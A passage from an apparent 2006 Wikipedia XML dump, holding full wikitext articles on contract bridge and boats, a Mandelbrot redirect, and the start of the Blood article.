[[pl:Bilion]]
[[pt:Bilhão]]
[[ru:Биллион]]
[[sl:Bilijon]]
[[fi:Biljoona]]
[[sv:Biljon]]
[[ta:பில்லியன்]]</text>
    </revision>
  </page>
  <page>
    <title>Benoit B. Mandelbrot</title>
    <id>3994</id>
    <revision>
      <id>15902297</id>
      <timestamp>2004-07-10T23:04:44Z</timestamp>
      <contributor>
        <username>Gzornenplatz</username>
        <id>50280</id>
      </contributor>
      <comment>correct redir</comment>
      <text xml:space="preserve">#REDIRECT [[Benoît Mandelbrot]]</text>
    </revision>
  </page>
  <page>
    <title>Contract bridge</title>
    <id>3995</id>
    <revision>
      <id>41671691</id>
      <timestamp>2006-02-28T23:44:33Z</timestamp>
      <contributor>
        <username>BPeppers1168</username>
        <id>971985</id>
      </contributor>
      <comment>Keep with the consensus pattern of low/medium/high ratings</comment>
      <text xml:space="preserve">{{Infobox_Game|
  subject_name=Bridge |
  image_link=[[Image:Bidding_box.jpg|none|250px]]|
  image_caption=Bidding box and playing cards for bridge|
  players=4 |
  ages=recommended for 12 and up|
  setup_time=&lt; 2 minutes |
  playing_time=[[World Bridge Federation|WBF]] tournament games = 7.5 minutes per deal|
  complexity=Medium |
  strategy=High |
  random_chance=Low |
  skills=[[Memory]], [[Tactics]] |
  footnotes =
}}'''Contract bridge''', usually known simply as '''bridge''', is a [[trick-taking game|trick-taking]] [[card game]] for four players, usually sitting around a table, who form two ''partnerships'', or &quot;sides&quot;. The partners on each side sit opposite one another. The game consists of two main parts &amp;ndash; ''bidding'' (or ''auction'') and ''play''; the rules of play are rather simple and similar to other trick-taking games. However, the bidding and associated [[convention (bridge)|conventions]] are much more complex, and represent the true learning barrier to new players. Also, there is an immense variety of techniques in play of the hand, whose effective use requires learning and experience.

== Introduction ==
At its core, bridge is a game of skill played with [[random]]ly dealt cards, which makes each deal a [[game of chance]]. This is conducive to play as a &quot;friendly game&quot; among four players.

Despite this, the chance can be eliminated by comparing pairs' results in identical situations. This is achievable when there are eight or more players and the deals from each table are preserved and passed to the next table, thereby ''duplicating'' them for another 4 participants to play. At the end of a competition, the scores for each deal are compared against each other, and most points are awarded to the players doing the best with each particular deal. This measures skill despite the initial chance of the deal.

This form of the game is referred to as [[duplicate bridge]] and is played in [[tournaments]], which can gather as many as several hundred players. Duplicate bridge is a [[mind sport]], and its popularity gradually became comparable to [[chess]].

== Game play ==
Two partnerships of two players each are needed to play bridge.  The four players sit around a table with partners opposite one another.  The [[compass]] directions are often used to refer to the four players, aligned with their seating pattern.  Thus, [[South]] and [[North]] form one partnership and [[East]] and [[West]] form the other.  

A session of bridge consists of many '''deals''' (also called ''hands'' or ''boards''); the game play of each deal consists of four phases: the deal, the bidding (or auction), the play of the cards, and scoring.

The goal is to achieve as high a numerical score as possible with the given cards. The score is affected by two principal factors: the number of tricks bid in the auction, and the number of tricks taken during play, where the latter must be higher than or equal to the former. Broadly said, the highest score is achieved when the number of tricks won is equal to (or close to) the number that was bid, so there is incentive to the players to accurately bid the number of tricks that their hands are capable of delivering. Thus, in the bidding stage, the pairs compete to see who proposes the highest number of tricks (and associated trump suit), and the side who wins the bidding must then fulfill that bargain by taking at least the specified number of tricks in play. The number of tricks bid and the trump suit (or lack thereof) are referred to as a '''contract'''. If the side who wins the auction then takes the contracted number of tricks (or more), it is said to have ''fulfilled the contract'' and is awarded points; otherwise, the contract is said to be ''defeated'' and points are awarded to their opponents.

=== Dealing ===
The game is played with one complete deck of 52 cards.  One of the players is the ''dealer.''
In [[rubber bridge]] (or other &quot;friendly&quot; games), the cards are [[shuffle]]d and the dealer hands out all the cards clockwise one at a time, starting with his left-hand opponent and ending with himself, so each player receives a ''hand'' of thirteen cards.  At the same time, for convenience, the dealer's partner is usually shuffling a second deck, ready for use on the following deal. The deal rotates clockwise, so the dealer's left-hand opponent will deal next.  

In [[duplicate bridge]], the hands are shuffled only once, at the beginning of the tournament, and dealt clockwise one at a time (there are also special machines for pre-dealing on large tournaments), and placed into [[board (bridge)|bridge boards]]. At every subsequent table, each player pulls his cards from the board and counts them, ensuring that the deal wasn't corrupted. Unlike other trick-taking games, the players do  not throw their cards to the middle of the table in each trick; instead, each player keeps his played card before himself, allowing the deal to be returned to the board unaltered.

=== The auction ===
To prepare for the play of the cards, the auction phase determines several things: the contract, which consists of the  [[trump]] suit and the intended number of tricks; which partnership will play for the contract; and which of the players in that partnership will play the hand.  In addition, doubling and redoubling may occur, which represents a &quot;raising of the stakes&quot; when the played hand is scored.

During the auction, each player makes a ''call'' at his turn, which consists of any one of the following:
* Pass
* Make a new bid
* Double or Redouble 

The auction consists of each player making a call, starting with the dealer and continuing clockwise until three players in a row have passed after any bid. (The word &quot;bid&quot; is also often used informally in place of &quot;call&quot;.)

A player may always ''pass'' when it is his or her turn.

A ''bid'' specifies how many tricks the bidder believes that he can take using his hand and his partner's hand, and with which suit as trump.  Any bid starts with the assumption that the bidder can make at least six tricks, called ''book'', plus some additional number of tricks.  So the bid includes a '''level''' (from one to seven, representing how many tricks beyond six the bidder thinks is makeable) and '''denomination''' (also called ''strain'', which is either a suit or &quot;no trump&quot;).  For instance, &quot;3 hearts&quot; suggests that his partnership can make nine tricks (book plus three more) using hearts as the trump suit.  

A player may bid at his turn as long as the bid is higher than the most recent bid.  A bid is considered higher if it specifies either a higher level or the same level but with a higher-ranking suit.  The order of denominations, from lowest to highest, is ''clubs'' (&amp;clubs;), ''diamonds'' (&lt;font color=&quot;red&quot;&gt;&amp;diams;&lt;/font&gt;), hearts (&lt;font color=&quot;red&quot;&gt;&amp;hearts;&lt;/font&gt;), ''spades'' (&amp;spades;), and ''no trump'' (NT).  Thus, after a bid of 3&lt;font color=&quot;red&quot;&gt;&amp;hearts;&lt;/font&gt;, bids of 2&amp;spades; or 3&amp;clubs; are illegal, but 3&amp;spades; or 4&lt;font color=&quot;red&quot;&gt;&amp;diams;&lt;/font&gt; are legal bids.

If the most recent bid was made by the opponents, the player may &quot;double&quot; that bid if his partner has not already done so. This essentially states that the player is so confident that the opponents cannot make their bid during play that the player is willing to double their score if they do (and the penalty if they don't).  If the most recent bid was made by the player or the player's partner, and it has been doubled by an opponent but not yet redoubled by the player's partner, the player may &quot;redouble&quot;.  

The auction ends when either all four players pass initially (in which case the hand is not played or scored), or when three players pass in a row.  The last bid becomes the ''contract,'' and its denomination determines whether there will be a trump suit, and if so, what it is.  The pair that did not win the contract is called the ''defense.''  The pair that made the last bid is divided further: the player who first made a bid in the strain of the final contract becomes the ''declarer'' and his or her partner becomes the ''dummy.''  For example, suppose West is the dealer and the bidding goes:

{| class='wikitable'
| '''South'''
| '''West '''
| '''North '''
| '''East '''
|-
|
| pass
| 1&lt;font color=&quot;red&quot;&gt;&amp;hearts;&lt;/font&gt;
| pass
|-
| 1&amp;spades;
| pass
| 2&lt;font color=&quot;red&quot;&gt;&amp;diams;&lt;/font&gt;
| double
|-
| 3&amp;spades;
| pass
| 4&amp;spades;
| pass
|-
| pass
| pass
|
|
|}

Then East and West would be the defenders, South would be the declarer (since South was the first to bid spades), North would be the dummy, and spades would be the trump suit.

=== The play of the hand ===
The play of the hand is similar to other trick-taking games.  To summarize, the play consists of thirteen ''tricks,'' each trick consisting of one card played from each of the four hands.  The first card played in a trick is called the ''lead,'' and each player plays a card sequentially around the table clockwise.  Any card may be selected as the lead, but the remaining hands must ''follow suit,'' (meaning, they must play a card in the same suit as the lead) unless they have no more cards of that suit, in which case any card may be played.  The hand that plays the highest card in the suit of the lead wins the trick, unless any of the cards are in the ''trump suit'', in which case the hand that plays the highest trump card wins the trick.  (Aces are high in bridge, followed by Kings, then Queens, and so on: 2s are the lowest card in each suit.)  The hand that wins each trick plays the lead card of the next trick, until all the cards are played.

The first lead, called the ''opening lead,'' is made by the opponent to the left of the declarer.  After the opening lead is chosen, the dummy lays his entire hand face up on the table.  The declarer is thereafter responsible for selecting cards to play from the dummy's hand when it is the dummy's turn, and from his own hand when it is his turn. The defenders each choose the cards to play out of their own hands. The player who is dummy has practically no rights and must not interfere with the play; (s)he may only play cards from the dummy hand at declarer's order (so that the declarer does not have to lean over the table).

In the end, the goal for each pair is to take as many tricks as possible together (it doesn't matter which player takes them).  However, the level of the contract makes a more relevant specific target: the number (level) of the contract is the number of ''odd tricks'' the declarer must take, that is, the number of tricks beyond 6.  Thus, the declarer is always attempting to take at least a majority of the tricks. In the example above, the declarer must manage to take 10 tricks—6 (assumed) + 4 (bid)—with spades as the trump suit,  to ''make'' the contract.  Success in this goal is rewarded by points in the scoring phase for the declarer's side.  If the declarer fails to make the contract, the defenders are said to have ''set'' or ''defeated'' the contract, and are rewarded points for doing so.

=== Scoring ===
:''Main article: [[Bridge scoring]]''

When the declarer makes the contract, the declarer's side receives points for:

* The contract bid and made
* Overtricks (tricks taken over the contract level)
* Other bonuses

When the declarer fails to make the contract, the defending pair receives points for ''undertricks'' &amp;ndash; the number of tricks by which declarer fell short of the goal.

Most bidding revolves around efforts to bid and make a ''game''. Because of the structure of bonuses, certain bid levels are given special significance. The most important level is ''game,'' which is any contract whose bid trick value is 100 or more points. Game level varies by the suit, since different suits are worth different amounts in scoring. The game level for no trump is 3 (9 tricks), the game level for hearts or spades (''major suits'') is 4 (10 tricks), and the game level for clubs or diamonds (''minor suits'') is 5 (11 tricks). ''Slam'' is any contract on level 6 or 7, and it is given very large bonuses.

There are two important variations in bridge scoring: [[rubber bridge|rubber scoring]] and duplicate scoring. They share most features, but differ how the total score is accumulated. In rubber bridge, points for each pair are tallied either &quot;above the line&quot; or &quot;below the line&quot;.  In duplicate bridge, all the points are accumulated and present a single score, expressed as a positive number (sum of trick points and bonus points) to the winning pair, and by implication, as a negative number to the opponents.
&quot;Chicago&quot; bridge is a form of friendly game which uses duplicate scoring, that is, a set consists of four deals with different vulnerabilities (whether a team has already made game), and every deal is scored as a single number.

In [[duplicate bridge]], the same hand is played unchanged across two or more tables and the results are compared using various methods. The differences are expressed in ''matchpoints'' or ''IMP''s. They are summed for every pair for every board they play, and the pair with highest total score becomes the winner of the tournament. Thus, even with bad cards, a pair can win the tournament if it has bid better and played better than the other players who played the same set of cards.

== Historical origins ==
A number of card games similar to [[whist]] can be traced all the way back to the early [[16th century]]. They were all [[trick-taking game]]s with a variety of minor variations. Whist became the dominant form, and enjoyed a loyal following for centuries.

The first game known as ''bridge'' was created by two innovations. The [[trump (cards)|trump]] suit was chosen by the dealer, or he could pass the choice to his partner; and the dealer then played both his own and his partner's hand, with the latter fully exposed. (According to the [[Oxford English Dictionary]], the word ''bridge'' is  the [[English language|English]] pronunciation of ''biritch'', an older name of the game of unknown [[Middle East]]ern origin; the oldest known rule book, from [[1886]], calls it [[wikisource:Biritch, or Russian Whist|&quot;Biritch, or Russian Whist&quot;]]. The OED reports speculation that the word may come from a [[Turkish language|Turkish]] term ''bir-üç'', or &quot;one-three&quot;, supposedly referring to the one exposed and three concealed hands.) This game, known today by the [[retronym]]s ''bridge-whist'' and ''straight bridge'', became popular in the [[United States]] and the [[United Kingdom|UK]] in the [[1890s]].

In [[1904]], the practice caught hold of using an auction phase to determine which player would designate the trump suit and have the privilege of playing his partner's exposed hand. This variation was known as ''[[auction bridge]]''.

The modern game of ''contract bridge'' was the result of innovations to the scoring of auction bridge made by [[Harold Stirling Vanderbilt]] and others. Vanderbilt wrote down his rules in [[1925]], and within a few years contract bridge had become the dominant form of the game. It has supplanted all other forms of the game, including auction bridge, so that &quot;bridge&quot; is now synonymous with &quot;contract bridge&quot;.

=== Tournaments ===
Tournaments were possible because of [[duplicate bridge]], a variation of the game where many sets of players play with the same hands.  Duplicate had occasionally been used for whist matches, as early as [[1857]].  For some reason, duplicate was not thought to be suitable for bridge, and so it wasn't until the [[1920s]] that (auction) bridge tournaments became popular.  

In 1925 when contract bridge first evolved, bridge tournaments were becoming popular, but the rules were somewhat in flux, and several different organizing bodies were involved in tournament sponsorship: the [[American Bridge League]] (formerly the American Auction Bridge League, which changed its name in [[1929]]), the [[American Whist League]], and the [[United States Bridge Federation]].  In [[1935]], the first officially recognized world championship was held.  By [[1937]], however, the [[American Contract Bridge League]] had come to power (a union of the ABL and the USBF), and it remains the principal organizing body for bridge tournaments.  In [[1958]], the [[World Bridge Federation]] was founded, as bridge had become an international activity.  

Today, the [[American Contract Bridge League|ACBL]] has over 160,000 members and runs 1100 tournaments per year with 3200 officially-associated bridge clubs.  

====Bidding boxes and bidding screens====
[[Image:Bidding box.jpg|right|thumb|250px|Bidding box]]

In tournaments, &quot;bidding boxes&quot; are frequently used.  A bidding box is a box of cards, each bearing the name of one of the legal calls in bridge. A player wishing to make a call displays the appropriate card from the box, rather than making a verbal declaration. This prevents unauthorized information from being conveyed via voice inflection. In top national and international events, &quot;bidding screens&quot; are used.  These are diagonal screens which are placed across the table, preventing a player from seeing his partner during the game.

=== Important Bridge Players ===
* [[Charles Goren]]
* [[Samuel Stayman]]
* [[Ely Culbertson]]
* [[Oswald Jacoby]]
* [[Helen Sobel Smith]]
* [[Easley Blackwood Sr.]]
* [[Giorgio Belladonna]]
* [[Benito Garozzo]]
* [[Bob Hamman]]
* [[Omar Sharif]]

== Game Strategy ==
=== Bidding systems and conventions ===
:''Main articles: [[Bidding system]], [[Convention (bridge)]]''

Much complexity in bridge arises from the difficulty of successfully arriving at a good final contract in the auction.  This is a fundamentally difficult problem: the two players in a partnership must try to communicate enough information about their hands to ultimately arrive at a makeable contract, but the information they can exchange is restricted in two ways:

* Information may ''only'' be passed by the calls made and later by the cards played, and not by any other means.
* The agreed-upon meaning of all information passed must be available to the opponents. 

A ''bidding system'' is the typical solution to this problem: each player evaluates his or her own hand and makes bids to give or request information from their partner, with the goal of eventually arriving at an ideal contract.  Bids, doubles, redoubles, and even passes can be either ''natural'' or ''[[convention (bridge)|conventional]]''.  A natural bid is a proposal to reach a contract in the named suit. A conventional bid is an attempt to communicate, offering and/or asking for information about the partnerships' hands, that is ''not'' intended to be a proposal for the final contract.  A wide variety of bidding systems have been developed over the course of the 20th century.  However, most modern systems have well-established common ground.

First of all, a fairly universal system of [[high card point]]s is used to give a basic evaluation of the strength of a hand.  Aces are counted as 4 points, kings as 3, queens as 2, and jacks as 1 point; therefore, the deck contains 40 points. 26 points shared between partners is considered sufficient for a partnership to bid, and make, game in a major or in no trump.  In addition, the ''distribution'' of the cards in a hand into suits may also contribute to the strength of a hand and be counted as [[point count|distribution points]].  Because 26 points is usually considered sufficient to make game, 13 points in one hand is considered sufficient to ''open'' the bidding (that is, make the first bid in the auction), by bidding 1 of a suit.  

A one no trump opening bid reflects a hand that has relatively balanced suits and high cards, and usually refers to a hand with 15-17 high card points.  In some systems the number of points expected from a 1NT opening bid changes, but it always refers to a relatively narrow range of points. 

Opening bids of 2 or higher are reserved for two types of bids: unusually strong bids and [[preempt]]ive bids.  Unusually strong bids communicate an especially high number of points; the availability of unusually strong bids allows a player with a weak hand to safely pass when their partner opens the bidding at one of a suit.  Preemptive bids are often made with weak hands that especially favor a particular suit.  For instance, with a hand of &amp;spades; AK98742 &lt;font color=&quot;red&quot;&gt;&amp;hearts;&lt;/font&gt; 73 &lt;font color=&quot;red&quot;&gt;&amp;diams;&lt;/font&gt; 42 &amp;clubs; 76, an opening bid of 3&amp;spades; is a very reasonable sacrificial bid, designed to make it difficult for the opposing team to determine a contract for themselves (which is good here, since they are likely to have the bulk of the points).   

Most systems include the [[weak two bid]] convention, in which opening bids of 2&lt;font color=&quot;red&quot;&gt;&amp;hearts;&lt;/font&gt;, 2&lt;font color=&quot;red&quot;&gt;&amp;diams;&lt;/font&gt;, or 2&amp;spades; are reserved for preemptive bids, while 2&amp;clubs; is used for very strong hands.  This is a first example of a ''conventional'' bid: an opening bid of 2&amp;clubs; in no way suggests 2&amp;clubs; as a final contract: indeed, in these systems 2&amp;clubs; may be bid without ''any'' clubs.

Another common convention is the ''5-card major'' convention, in which an opening bid of 1&lt;font color=&quot;red&quot;&gt;&amp;hearts;&lt;/font&gt; or 1&amp;spades; promises at least 5 cards in that suit.  This leads to some awkward bids, for instance, when a player has four cards in each major, and is forced to open the bidding with 1 of a 3-card [[minor suit]].

Doubles are sometimes used in bidding conventions.  A natural, or ''penalty'' double, is one used to try to gain extra points when the defenders are confident of setting the contract.
The most common example of a conventional double is the [[takeout double]] of a low-level bid, implying support for the unbid suits and asking partner to choose one of them.  

There are many other conventions.  Some of the most famous are [[Stayman]], [[Jacoby transfers]] and [[Blackwood convention|Blackwood]].

Bidding systems depart from these basic ideas in varying degrees.  [[Standard American]], for instance, is a collection of conventions designed to bolster the accuracy and power of these basic ideas, while [[Precision Club]] is a highly conventional system that uses the 1&amp;clubs; opening bid for strong hands (but sets the threshold rather lower than most other systems) and requires many other changes in order to handle other situations.  Many experts today use a system called [[2/1 game forcing]]. In the UK, [[Acol]] is the standard system. There are even a variety of techniques used for hand evaluation.  The most basic is [[point count|the Milton Work point count]], but this is sometimes augmented by other guidelines such as [[losing trick count]], [[law of total tricks]] or [[Zar Points]].

== Play techniques ==
[[Terence Reese]], a prolific author of bridge books, points out that there are only four ways of taking a trick by force, and two of these are very easy:

*playing a high card that no one else can beat
*trumping an opponent's high card
*establishing long cards (the last cards in a suit will take tricks if the opponents don't have the suit and are unable to trump)
*playing for the opponents' high cards to be in a particular position (if their ace is in front of your king, your king may take a trick)

Nearly all trick-taking techniques in bridge can be reduced to one of these four methods.

The optimum play of the cards can require much thought and experience, and is too complicated to describe in a short article. However, some basic ideas of probability may be considered:

Some of the most important probabilities have to do with the position of high cards.

* The probability that a given opponent holds one particular card, e.g. the king: 50%
* The probability that a given opponent holds two particular cards, e.g. the king and the queen: approximately 25%
* The probability that a given opponent holds at least one of two particular cards, e.g. the king or the queen: approximately 75%

When developing long cards, it is important to know the likelihood that the opponents' cards in the suit are evenly divided between them.  Generally speaking, if they hold an even number of cards, they are unlikely to be exactly divided; if the opponents have an odd number in the suit, the cards will probably be divided as evenly as possible. For example, if declarer and dummy have eight trumps between them, the opponents' trumps are probably (68% chance) divided 3-2 (one opponent with three trumps, the other with two) and trumps can be drawn in three rounds. If declarer is trying to play with a seven card trump suit, it is more likely that the outstanding trumps are divided 4-2 (48%) than that the cards are evenly divided 3-3 between the opponents (36%).

===== Basic techniques by declarer =====
When new to the game, a player should be familiar with these strategies for playing the hand:

*[[trumping]]
*[[crossruff]]
*establishing long suits
*[[finesse]]
*[[holdup (bridge)|holdup]] (mostly at NT contracts)
*managing entries
*drawing trumps

===== Advanced techniques by declarer =====
Someone who plays regularly in tournaments should be familiar with these concepts:

*counting the hand (tracking the distribution of suits and high cards in the opponents' hands using inferences from the bidding and play)
*[[coup (bridge)|coup]]
*[[duck (bridge)|duck]]
*[[dummy reversal]]
*[[endplay]]
*[[principle of restricted choice (bridge)|principle of restricted choice]]
*[[safety play]] 
*[[squeeze play (bridge)|squeeze]]

===== Basic techniques by defenders =====
*opening lead
*when to lead trump

===== Advanced techniques by defenders =====
*avoiding an endplay or squeeze
*counting the hand (tracking the distribution of suits and high cards in the unseen hands using inferences from the bidding and play)
*false carding
*opening lead&amp;mdash;using information from auction
*[[Signal (bridge)|signaling]]
*[[uppercut (bridge)|uppercut]]

== Bridge on the Internet ==
There are several free and some subscription-based servers available for playing bridge on the [[Internet]].  OKBridge&lt;sup&gt;[[#External links|1]]&lt;/sup&gt; is the oldest of the still-running Internet Bridge services; players of all standards, from beginners to world champions may be found playing there.  SWAN Games&lt;sup&gt;[[#External links|2]]&lt;/sup&gt; is a more recent competitor.  Bridge Base Online&lt;sup&gt;[[#External links|3]]&lt;/sup&gt; is mostly free, and now has a much larger membership base than either of the above.  Some National Contract Bridge Organizations now offer online bridge play to their members including the English Bridge Union, the Dutch Bridge Union and the Australian Bridge Federation. MSN and Yahoo! Games have several online Rubber Bridge rooms. 

There are many advantages to playing Bridge online:

* The ability to choose when you play.
* The ability to choose your opponents. In a club game, you may be forced to play against pairs that are much weaker, rude, or much stronger. Playing online, you can play against opponents of nearly equal ability.
* Most servers offer an accurate player rating system. The ACBL and EBU [[masterpoints]] systems give credit for how much one has played rather than how well; most online systems have a rating system which attempts to measure one's ability without regard to the number of games played. 
* There are fewer restrictions on which conventions one is allowed to use.
* You can not make inferences from partner's tone of voice or other cues available in real life.  However, intentional cheating, such as [[instant messaging]] your partner, is easier.
* A detailed record of every hand may be kept, to help resolve complaints.
* It is impossible to make an illegal play by accident, as the software won't accept a play or call which does not conform to the rules.

The main disadvantage to playing online is that bridge is a social game, and many people play because they enjoy the social atmosphere of the bridge club.

== Definitions of common terms ==
''Main article: [[Contract bridge glossary]]

== External links ==
* [http://www.greatbridgelinks.com/ Great Bridge Links, online since 1995]
* [http://www.rulescentral.com/card_games/contract_bridge/search/bridge.html Official Contract Bridge Rules]
* [http://www.acbl.org/ American Contract Bridge League]
* [http://www.ebu.co.uk/ The English Bridge Union]
* [http://www.bridge.nl Dutch Bridge Bond]
* [http://www.prairienet.org/bridge Karen's Bridge Library]
* [http://dmoz.org/Games/Card_Games/Trick_Capturing/Bridge/ ODP Bridge Categories]
* [http://www.okbridge.com OKBridge]
* [http://swangames.com SWAN Games Online Bridge]
* [http://www.bridgebase.com Bridge Base Online (BBO)]
* [http://www.oghma.us Bridge Snaps]
* [http://ptaff.ca/bridge/duplicata/?lang=en_CA Duplicate scoring tables]
* [http://ptaff.ca/bridge/annexe/?lang=en_CA Rubber scoring tables]
* [http://www.ibpa.com/ International Bridge Press Association]

[[Category:Anglo-American playing card games]]
[[Category:Bridge|*]]
[[Category:Trick-taking card games]]

[[da:Bridge (kortspil)]]
[[de:Kontrakt-Bridge]]
[[eo:Briĝo]]
[[fr:Bridge]]
[[he:ברידג']]
[[hu:Bridzs]]
[[ja:コントラクトブリッジ]]
[[nl:Bridge]]
[[pl:Brydż]]
[[ru:Бридж]]
[[sv:Bridge]]
[[tr:Briç]]
[[uk:Бридж]]
[[zh:橋牌]]</text>
    </revision>
  </page>
  <page>
    <title>Boat</title>
    <id>3996</id>
    <revision>
      <id>41995450</id>
      <timestamp>2006-03-03T02:45:35Z</timestamp>
      <contributor>
        <username>Vanka5</username>
        <id>428424</id>
      </contributor>
      <minor />
      <comment>+ bg</comment>
      <text xml:space="preserve">[[Image:BoatsonMiamiBeach.jpg|thumb|right|250px|Some boats in a [[harbour]] in [[Miami Beach, Florida]]]]
A '''boat''' is a [[watercraft]], usually smaller than most [[ship]]s. Some boats are commonly carried by a ship or on land using trailers.

A boat consists of one or more [[buoyancy]] structures called [[hull (ship)|hull]]s and some system of propulsion, such as a [[Propeller|screw]], [[oar]]s, [[paddle]]s, a [[setting pole]], a [[sail]], [[Paddle steamer|paddlewheels]] or a  [[pump-jet|water jet]].

==Parts of a boat==
[[Image:EgyptTombOarboat.jpg|thumb|Ancient boat in an Egyptian tomb painting from about 1450 BCE]] 
The roughly horizontal but cambered structures spanning the hull of the boat are referred to as the &quot;deck&quot;. In a ship there are often several, but a boat is unlikely to have more than one. The similar but usually lighter structure which spans a raised cabin is a coarch-roof. The &quot;floor&quot; of a cabin is properly known as the sole but is more likely to be called the floor. (A floor is properly, a structural member which ties a frame to the keelson and keel.) The underside of a deck is the deck head. The vertical surfaces dividing the internal space are &quot;bulkheads&quot;. Some are important parts of the vessel's structure. The front of a boat is called the bow or prow. The rear of the boat is called the stern. The right side is starboard and the left side is port.

It is somewhat risible in modern practice to call the command area of a large boat the &quot;bridge&quot;. It is the cockpit or wheelhouse, depending on its design.

The compartments housing a toilet, and the toilet itself, are known as the &quot;heads&quot;, and a trip to this area is a &quot;head call&quot;.

In the old days, cordage intended for the delicate hands of a yacht's owner was of linen, later cotton. Therefore cordage used to control a sailing boat, tends to be referred to as &quot;line&quot; rather than rope.  Most have specific names, but in general, lines used for raising things like sails and flags are &quot;halyards&quot; while the principal ones for adjusting the positions of the sails are called &quot;sheets&quot;.

All the lines and wire collectively are referred to as &quot;rigging&quot;. That which is set up in the yard and left is standing rigging. That which is adjustable in use is running rigging. For example, a forestay is standing rigging and a sheet or a halyard is part of the running rigging.

==Types of boats==
[[Image:DerelictBoatFollyIs.jpg|thumb|250px|right|Derelict: a ship's lifeboat, built of steel and rotting away in the wetlands of Folly Island, North Carolina]]
* [[Banana boat]]
* [[Bangca]]
* [[Bateau]]
* [[Barge]]
* [[Cabin Cruiser]]
* [[Canoe]]
* [[Catamaran]]
* [[Cape Islander]]
* [[Catboat]]
* [[Coble]]
* [[Coracle]]
* [[Cruising|Cruiser]]
* [[Cutter (pulling boat)]]
* [[Cutter]] (sailing boat)
* [[Dhow]]
* [[Dinghy]]
* [[Dory]]
* [[Durham Boat]]
* [[Dutch Barge]]
* [[Felucca]]
* [[Ferry]]
* [[Folding boat]]
* [[Go-fast boat]]
* [[Gondola]]
* [[Houseboat]]
* [[Inflatable boat]]
[[image:mutandbarge.jpg|thumb|250px|A sailboat (racing dinghy) and barge share the [[Mississippi River]]]]
* [[Jetboat]], [[Jetski]]
* [[Jonsboat]]
* [[Junk (sailing)|Junk]]
* [[Kayak]]
* [[Ketch]]
* [[Lifeboat]]
* [[Log boat]]
* [[Longboat]]
* [[Luxemotor]]
* [[Motorboat]]
* [[Narrowboat]]
* [[Norfolk wherry]]
* [[Outrigger canoe]]
* [[Padded V-hull]]
* [[Pinnace]]
* [[Pirogue]]
* [[Powerboat]]
[[Image:Greece-boat.jpg|thumbnail|250px|right|Tourist schooner in Greece]]
* [[Punt (boat)|Punt]]
* [[Raft]]
* [[Rigid-hulled inflatable boat]] (RIB)
* [[Rowboat]], rowing boat
* [[Sailboat]], sailing boat
* [[Sampan]]
* [[Schooner]]
* [[Scow]]
* [[Sharpie (boat)|Sharpie]]
* [[Skiff]]
* [[Sloop]]
* [[Submarine]]
* [[Surfboat|Surf boat]]
* [[Swift boat]]
* [[Tjalk]]
* [[Trimaran]]
* [[Tugboat]]
* [[U-boat]]
* [[Water taxi]]
* [[Whaleboat]]
* [[Yachting|Yacht]]
* [[Yawl]]

== Unusual types of boats ==

Unusual floating vehicles have been used for sports purposes as well. For example, the [[Bathtub Boat]] is used in &quot;bathtub races&quot; in many cities, although it originated in [[Nanaimo]], BC, Canada.

== Unusual uses of the word &quot;Boat&quot; ==

* Often in [[Sport rowing|rowing]] as a racing-type competitive sport, &quot;boat&quot; means the crew and &quot;shell&quot; means the craft. So a [[university]] might refer to its first boat, meaning the rowers who make up their best team, rather than their best piece of equipment.
* A [[submarine]] is generally referred to as a boat rather than a ship.  This dates from the early days of submarine warfare, when submarines were essentially [[torpedo boat|motor torpedo boat]]s which could submerge.  In the modern combat environment where a typical attack submarine is the size of a [[destroyer]] and equipped with either a [[nuclear reactor]] or [[air independent propulsion]] which can allow it to stay submerged for months or weeks (and [[boomer]]s are even larger, on the order of old-style [[battleship]]s), this use is something of an anachronism.
* A ship can be informally known as a boat, especially by its [[crew]]. This use is uncommon in the case of a [[warship]].
* In [[Great Lakes shipping]], &quot;boat&quot; refers to any vessel, even one which would normally be considered a &quot;ship&quot; on the ocean. 
* In some versions of [[cockney rhyming slang]], &quot;boat&quot; means face, from &quot;boat race&quot;.
* The term &quot;gravy boat&quot; is used to describe a small jug used to dispense meat gravy at the dining  table. Similarly: &quot;sauce boat&quot;.
* A [[Boat (car)|boat]] can also be one of the massive cars manufactured in America from the 1950s through the 1970s.
* A boat, short for full-boat is another term for a full-house in the card game [[poker]].
{{Wiktionarypar|boat}}
*The most notorious of all spammers on the online forum [[PBNation]]

==See also==
{{commons|Boat}}
* [[Boat building]]
* [[Cruising]]
* [[Electric boat]]
* [[Air boat]]
* [[Jet boat]]
* [[Jet sprint boat racing]]
* [[Offshore powerboat racing]]
* [[Sport]]
* [[Yachting]]

==External links==
* [http://www.talkboats.com Talk Boats] Non-commercial online boating forum
* [http://www.boatingdir.com Boating Directory]
* [http://www.firstboat.com FirstBoat.com] Information about boating, particularly for new boaters
* [http://www.barges.org DBA - Dutch Barge Association] Living aboard ex-commercial barges or any other type of broad-beam inland waterways craft
* [http://www.everyboat.com Every Boat Sales] Extensive search engine of boats around the world
* [http://www.boatlinx.com BoatlinX: A very popular directory of boat sites]

[[Category:Vehicles]]
[[Category:Water transport]]
[[Category:Boat types|*]]

[[ar:قارب]]
[[bg:Лодка]]
[[cy:Cwch]]
[[da:Bov (skibsterminologi)]]
[[de:Boot]]
[[es:Bote]]
[[eo:Boato]]
[[fr:Bateau]]
[[he:סירה]]
[[nl:Boot (vaartuig)]]
[[ja:船]]
[[no:Båt]]
[[pt:Barco]]
[[ru:Лодка]]
[[simple:Boat]]
[[fi:Vene]]
[[sv:Båt]]
[[th:เรือ]]
[[sh:Čamac]]</text>
    </revision>
  </page>
  <page>
    <title>Blood</title>
    <id>3997</id>
    <revision>
      <id>42121374</id>
      <timestamp>2006-03-03T23:33:16Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Invincible Ninja|Invincible Ninja]] ([[User talk:Invincible Ninja|talk]]) to last version by Calair</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Blood smear.jpg|350px|thumb|right|Human [[blood smear]]: a - [[erythrocytes]]; b - [[neutrophil]]; c - [[eosinophil]]; d - [[lymphocyte]].]]

'''Blood''' is a [[circulation (physiology)|circulating]] [[biological tissue|tissue]] composed of fluid [[blood plasma|plasma]] and [[cell (biology)|cells]] ([[red blood cell]]s, [[white blood cell]]s, [[platelet]]s). Medical terms related to blood often begin in ''hemo-'' or ''hemato-'' ([[British English|BE]]: ''haemo-'' and ''haemato-'') from the [[Greek language|Greek]] word &quot;''haima''&quot; for &quot;blood&quot;.

